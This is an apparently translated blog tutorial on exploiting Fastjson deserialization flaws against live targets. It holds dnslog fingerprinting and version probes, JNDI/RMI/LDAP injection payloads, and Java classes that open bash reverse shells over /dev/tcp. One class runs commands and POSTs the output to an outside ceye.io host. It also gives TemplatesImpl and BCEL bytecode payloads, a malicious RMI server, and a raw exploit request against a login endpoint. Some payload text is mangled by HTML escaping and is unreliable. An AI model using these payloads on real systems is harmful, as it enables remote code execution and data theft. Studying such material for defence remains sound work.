Detection and utilization of Fastjson in actual combat

Detection

Reference: https://github.com/alibaba/fastjson/issues/3077

jndi vulnerability detection

{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}

The java.net.InetAddress gadget was disabled in 1.2.49. If the above POC can produce dnslog, it means that there is a high probability that it can rce.

Backend detection

{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}

{“@type”:”java.net.Inet6Address”,”val”:”dnslog”}

{“@type”:”java.net.InetSocketAddress”{“address”:,”val”:”dnslog”}}

{“@type”:”com.alibaba.fastjson.JSONObject”, {“@type”: “java.net.URL”, “val”:”dnslog”} }””}

{{“@type”:”java.net.URL”,”val”:”dnslog”}:”aaa”}

Set[{“@type”:”java.net.URL”,”val”:”dnslog”}]

Set[{“@type”:”java.net.URL”,”val”:”dnslog”}

{{“@type”:”java.net.URL”,”val”:”dnslog”}:0

If the above POC can generate dnslog, it means that the backend is 100% fastjson.

Train record

Recently, I discovered that there is an area where people can easily make mistakes, which is the payload of fastjson. When looking at online payloads, I found that some goals can be successful and some goals cannot be successful. Why is this?

For example, this Payload:

{"@type":"java.net.Inet4Address","val":"dnslog"}

This classmate found that in the vulhub environment, using the payload of the rebound shell can succeed, but changing the payload used for detection does not work.

In fact, the reason is that some developers will use Spring’s @RequestBody annotation when using fastjson to parse requests, telling the parsing engine that what I need is a User class object (actually, it can be understood as an ordinary object in JSON without @type).

At this time, what you pass in is {"@type":"java.net.Inet4Address","val":"xxxxx"}, which is equivalent to giving it to him is a java.net.Inet4Address object, so a type not match exception will occur.

Therefore, it is recommended to test fastjson vulnerabilities. The outermost layer must be an array or object. Do not add @type, and then use Payload as one of the key values, such as:

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

Writing this way usually won’t cause type not match errors.

Error detection

Reference: How to get the precise version number of fastjson – Light Blue’s blog

{“xxx”:”aaa”

When curly braces and commas are not detected, an error message can be triggered to determine whether the backend is fastjson or jackson. In some cases, the version number can be directly revealed.

Version detection process

{“@type”:”java.net.Inet4Address”,”val”:”dnslog”}

If there is dnslog, you can judge that the entry point is fastjson, and then start the version judgment.

{“@type”:”java.net.InetAddress”,”val”:”dnslog”}

If there is a dnslog, it means that the version is below 49, because this gadget was banned in 49.

{

“xxx”: “\x

If there is a dos vulnerability, the version is below 60. If not, it will be over 60. Reference: https://blog.riskivy.com/Nondestructive detection of fastjson-dos vulnerabilities and blind differentiation of fastjson and jackson components/

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

If there is dnslog, it means it is 68 or below.

69 and above

{“@type”:”java.lang.AutoCloseable”,”@type”:”java.io.FileOutputStream”,”name”:”/etc/passwd”, “append”:true}

Recurrence

fastjson 1.2.24 and previous versions

dnslog

First check if there are any vulnerabilities

Content-Type: application/json

1.Success

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}< /pre>
<p>2.Success</p>
<pre>{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}< /pre>
<p>3. Unsuccessful</p>
<pre>{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout" :0}
Bounce shell

First compile the poc to get the bytecode

javacPoc.class

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc extends AbstractTranslet {

public Poc() throws IOException {

try {

Runtime rt = Runtime.getRuntime();

String[] commands={“/bin/bash”,”-c”,”bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1″};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}

@Override

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {

Poc t = new Poc();

}

}

Then base64 encrypt the .class file python solve_payload.py

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\\
", "")
fout.write(s)
fin.close()
fout.close()

Modify the _bytecodes of json to the base64 text just generated:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD 4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEAACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR lcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZ XJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnR lcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgA vAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA + JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZ XB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3Vu L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA oKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB + AAQABAAAACwqtwABuAACTAa9AANZ AxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAAQAQAAAABgABAAAAIAABABY AGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ==\ "],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols" :"all"}
nc -lvp 19999

Send a package to open the shell

But there are restrictions:

  1. The target website uses the fastjson library to parse json
  2. Feature.SupportNonPublicField is set during parsing, otherwise private attributes are not supported.
  3. The TemplatesImpl class exists in the jdk used by the target
Restrictions of jndi

Why not use jndi? Because java 8u121 (Java? SE Development Kit 8, Update 121 Release Not…) has been updated and added the com.sun.jndi.rmi.object.trustURLCodebase option. Only this option is set. When it is True, the URL can be used to load the class normally.

https://www.anquanke.com/post/id/182140

Usage based on rmi

Applicable jdk versions: JDK 6u132, JDK 7u122, before JDK 8u113

How to use:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit

Usage based on ldap

Applicable jdk versions: JDK 11.0.1, 8u191, 7u201, and before 6u211

How to use:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPrefServer http://127.0.0.1:8080/test/#Expolit
Usage based on BeanFactory

Applicable jdk versions: JDK 11.0.1, 8u191, 7u201, 6u211 and later

Prerequisite for utilization: Because this utilization method requires the use of a local class on the server, and this class is in the jar package of tomcat, it can generally only be successfully exploited on tomcat.

How to use:

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName ("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh', '-c','open /Applications/Calculator.app/']).start()")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }

}

Fastjson 1.2.47 remote command execution vulnerability

dnslog
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}
jndi injects rmi into the shell

The target environment is openjdk:8u102. This version does not have the restrictions of com.sun.jndi.rmi.object.trustURLCodebase. We can simply use RMI to execute commands.

First compile and upload the command execution code, such as http://ip/ExportObject.class:

// javac ExportObject.java
import java.lang.Runtime;
import java.lang.Process;

public class ExportObject {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Then we use the marshalsec project to start an RMI server, listen to port 9999, and specify to load the remote class ExportObject.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997

Send Payload to the shooting range server:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}

nc -lvp 19999 To successfully pop up the shell, the java version must be the same or lower to be successful. Because java is compatible with lower version classes, but not upwards, jdk6 is usually used to compile classes.

Note that some Java versions must be the same. You can see the Java version in the web server log request header, then use this version to compile the class, and then load and execute it remotely.

ldap execution command

exp

//evil2.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

public class evil2 {
    public static void post(String uri, String data) {
        HttpURLConnection httpURLConnection = null;
        BufferedReader bufferedReader = null;
        try {
            URL url = new URL(uri);
            httpURLConnection = (HttpURLConnection)url.openConnection();
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setDoOutput(true);
            OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream());
            out.write(data);
            out.close();
            httpURLConnection.connect();
            InputStream inputStream = httpURLConnection.getInputStream();
            bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
            String line = null;
            StringBuffer stringBuffer = new StringBuffer();
            while ((line = bufferedReader.readLine()) != null) {
                stringBuffer.append(line + "\\
");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        finally {
            if (httpURLConnection != null) {
                httpURLConnection.disconnect();
            }
            try {
                if (bufferedReader != null) {
                    bufferedReader.close();
                }
            }
            catch (IOException e) {}
        }
    }

    public static String exec(String cmd) {
        StringBuffer res = new StringBuffer();
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            p.waitFor();
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = "";
            while ((line = br.readLine()) != null) {
                res.append(line);
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        return res.toString();
    }

    static {
        String cmd = evil2.exec("whoami");
        evil2.post("http://ldap.ceu5ns.ceye.io/", cmd);
// cmd = evil2.exec("ifconfig");
// evil2.post("http://ldap.91030df7.n0p.co/", cmd);
// cmd = evil2.exec("cat /etc/hosts");
// evil2.post("http://ldap.91030df7.n0p.co/", cmd);
    }
}

Start ldap server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPrefServer http://ip/#evil2 1099

post

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1099/Exploit",
        "autoCommit":true
    }
}

executed successfully.

Bounce shell
//evil.java
import java.lang.Runtime;
import java.lang.Process;

public class evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i > & amp; /dev/tcp/ip/19999 0> & amp;1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Start ldap server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098

bp packet sending

POST /public/LOGIN/loginIn HTTP/1.1
Host:xxx
Content-Length: 266
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac
Connection: close

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1098/Exploit",
        "autoCommit":true
    }
}

Shell successfully popped up.

defineclass

Reference: https://github.com/bit4woo/code2sec.com/blob/master/Java deserialization vulnerability learning practice 7: fastjson deserialization PoC summary.md

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

This is mentioned above and has limitations. In actual combat, it is generally GG.

tomcat-dbcp & amp; & amp;commons-dbcp

Introduction to Fastjson BasicDataSource attack chain

The BasicDataSource attack chain can only be used with Fastjson 1.2.24 and lower versions.

Referring to the use of defineClass in java deserialization – Prophet Community, I found that ClassLoader is quite easy to use. The payload dependency given in the article is tomcat-dbcp, and the corresponding construction class is org.apache.tomcat.dbcp.dbcp.BasicDataSource. The vulnerability environment I encountered did not have tomcat-dbcp, only commons-dbcp, but I found that it can also be used. The utilization method is basically the same as the Payload construction method, but the corresponding construction class must be replaced by org.apache.commons.dbcp. BasicDataSource.

{
        {
                @type": "com.alibaba.fastjson.JSONObject",
                "c": {
                        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                        "driverClassLoader": {
                                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                                },
                        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$ a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H $f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U $c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$ a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$ G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3 $p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$ p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O $x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca $gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$ S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A\ "
                        }
        }:"ddd"
}
{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$ a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H $f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U $c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$ a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$ G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3 $p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$ p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O $x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca $gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$ S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A\ "
}
        

fastjson 1.2.68 bypasses rce

refer to:

https://b1ue.cn/archives/382.html You need to find the specific gadget by yourself. Not public yet.

There are currently only two easy-to-use chains, one is mysqljdbc, which requires mysqlconnect to depend on 5.x. The other is common-io to write files, which requires knowing the absolute path. Both chains are currently public.

The knowledge points of the article match the official knowledge files, and you can further learn relevant knowledge. Java skill treeUsing JDBC to operate the databaseDatabase operation 136535 people are learning the system